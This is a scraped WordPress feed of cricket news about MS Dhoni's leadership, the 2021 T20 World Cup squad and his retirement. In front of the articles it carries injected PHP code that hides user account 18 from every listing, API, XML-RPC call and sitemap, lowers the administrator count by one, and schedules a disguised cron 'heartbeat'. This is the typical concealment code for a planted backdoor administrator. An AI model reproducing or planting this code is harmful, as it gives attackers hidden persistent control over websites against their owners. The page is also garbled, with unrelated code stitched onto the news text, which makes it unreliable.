add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dwayne Bravo Praises MS Dhoni, Calls Him Brother From Another Mother appeared first on The Edge Media.
]]>Bravo recalled an incident from the 2018 IPL season, when CSK returned after serving a two year suspension. While fielding at long on, Bravo dived to stop a boundary, only to be advised by Dhoni to avoid risking injury.
He said Dhoni later told him that his four overs as a bowler were more valuable to the team than saving a few runs in the field. The moment left a lasting impression on Bravo, who said it made him reassess how he approached fielding.
He explained that Dhoni has an exceptional ability to recognise what each player brings to the team and prefers them to focus on their core responsibilities. According to Bravo, Dhoni never tries to change a player’s natural style and instead makes expectations clear, allowing individuals to perform with confidence and freedom.
Speaking further, Bravo described Dhoni as a quiet and relaxed leader who trusts his teammates and lets them express themselves. He recalled his first match for CSK in 2011 against Rajasthan Royals, when Dhoni asked him about his preferred field placements. Although Dhoni initially suggested a change, he accepted Bravo’s request and never interfered with his fielding plans again. Bravo said that moment helped build mutual trust between them.
From that point on, Bravo said their bond grew stronger, and they began referring to each other as brothers from different mothers. He credited Dhoni for creating an environment where players feel trusted and valued, allowing them to perform at their best without unnecessary pressure.
The post Dwayne Bravo Praises MS Dhoni, Calls Him Brother From Another Mother appeared first on The Edge Media.
]]>The post Ashwin in the squad, MS Dhoni to be the mentor appeared first on The Edge Media.
]]>Pacer Mohammed Shami too has been included in the squad while Ishan Kishan has been included as the second wicketkeeper in the squad.
In addition, Shreyas Iyer, Shardul Thakur and Deepak Chahar have been named as standby players.
Speaking in the press conference to announce the squad, BCCI secretary Jay Shah said Dhoni’s role as a mentor will be limited to the T20 World Cup.
“(I) spoke to him in Dubai. He agreed to be mentor for WT20 only and I discussed with my colleagues and all are on same page. I spoke to captain (Virat Kohli) and vice captain (Rohit Shamra) and everyone agreed,” he was quoted as saying by news agency PTI.
India have been placed in Group 2 of the Super 12 phase for the World Cup. Eight teams have already qualified to this phase, where they will be joined by four teams from the first round.
Here is the full India squad: Virat Kohli (captain), Rohit Sharma (vice-captain), KL Rahul, Suryakumar Yadav, Rishabh Pant (wicketkeeper), Ishan Kishan (wicketkeeper), Hardik Pandya, Ravindra Jadeja, Rahul Chahar, Ravichandran Ashwin, Axar Patel, Varun Chakravarthy, Jasprit Bumrah, Bhuvneshwar Kumar, Mohd Shami.
The post Ashwin in the squad, MS Dhoni to be the mentor appeared first on The Edge Media.
]]>The post Dhoni Will Be Spending More Time With The Army appeared first on The Edge Media.
]]>Pandey saw the retirement announcement coming after this year’s T20 World Cup, which was postponed to 2022 last month, but only Dhoni knew that it would come on Independence Day. “I was aware that he would do it soon but did not know the exact timing. Anyway it was for him to decide. He had started IPL preparations but it was postponed and then the T20 World Cup was postponed, he thought to be mentally free,” Pandey told PTI day after Dhoni’s unexpected announcement on Saturday. “And since August 15 is a special day for the Army, he must have thought on those lines. The T20 World Cup postponement was surely a factor as he planned for it,” he said.
Dhoni holds the honorary rank of Lieutenant Colonel in the Territorial Army. Following the 2019 World Cup semifinal loss, he trained with the Parachute Regiment for more than a month. “One thing is for sure, he will be spending more time with the Army. He will also give time to his commercial ventures and other commitments. We will sit down soon and decide the way forward.”
In most cases, the brand value of an athlete goes down after retirement but Pandey insists it won’t happen to Dhoni. “Since the World Cup (in July 2019), we have signed up with 10 new brands and it is a long-term thing. It will keep on increasing as Dhoni is not just about cricket, he is a youth icon.
“In most cases retirement does have an impact but not when it comes to Dhoni. His achievements are not individual, his achievements are for the team and for the coutnry,” said Pandey. Pandey added that Dhoni will play the IPL for another two or three seasons. “He will play for at least couple of years, if not more. He will be more mentally free now that he is retired. The T20 World Cup postponement was definitely a factor in his retirement.”
The mega event, which was to take place in Australia in October-November, was moved to 2022 due to the COVID-19 pandemic. India have the hosting rights for the 2021 edition.
– PTI
The post Dhoni Will Be Spending More Time With The Army appeared first on The Edge Media.
]]>The post Raina Joins Dhoni In Retirement: “I Choose To Join You In This Journey.” appeared first on The Edge Media.
]]>‘ It was nothing but lovely playing with you, @mahi7781 . With my heart full of pride, I choose to join you in this journey. Thank you India. Jai Hind! ‘ Raina posted on his Instagram.
The post Raina Joins Dhoni In Retirement: “I Choose To Join You In This Journey.” appeared first on The Edge Media.
]]>The post MS Dhoni: “Consider Me As Retired” appeared first on The Edge Media.
]]>“Thanks. Thanks a lot for ur love and support throughout.from 1929 hrs consider me as Retired”, he said in his Instagram video post on Saturday.
The post MS Dhoni: “Consider Me As Retired” appeared first on The Edge Media.
]]>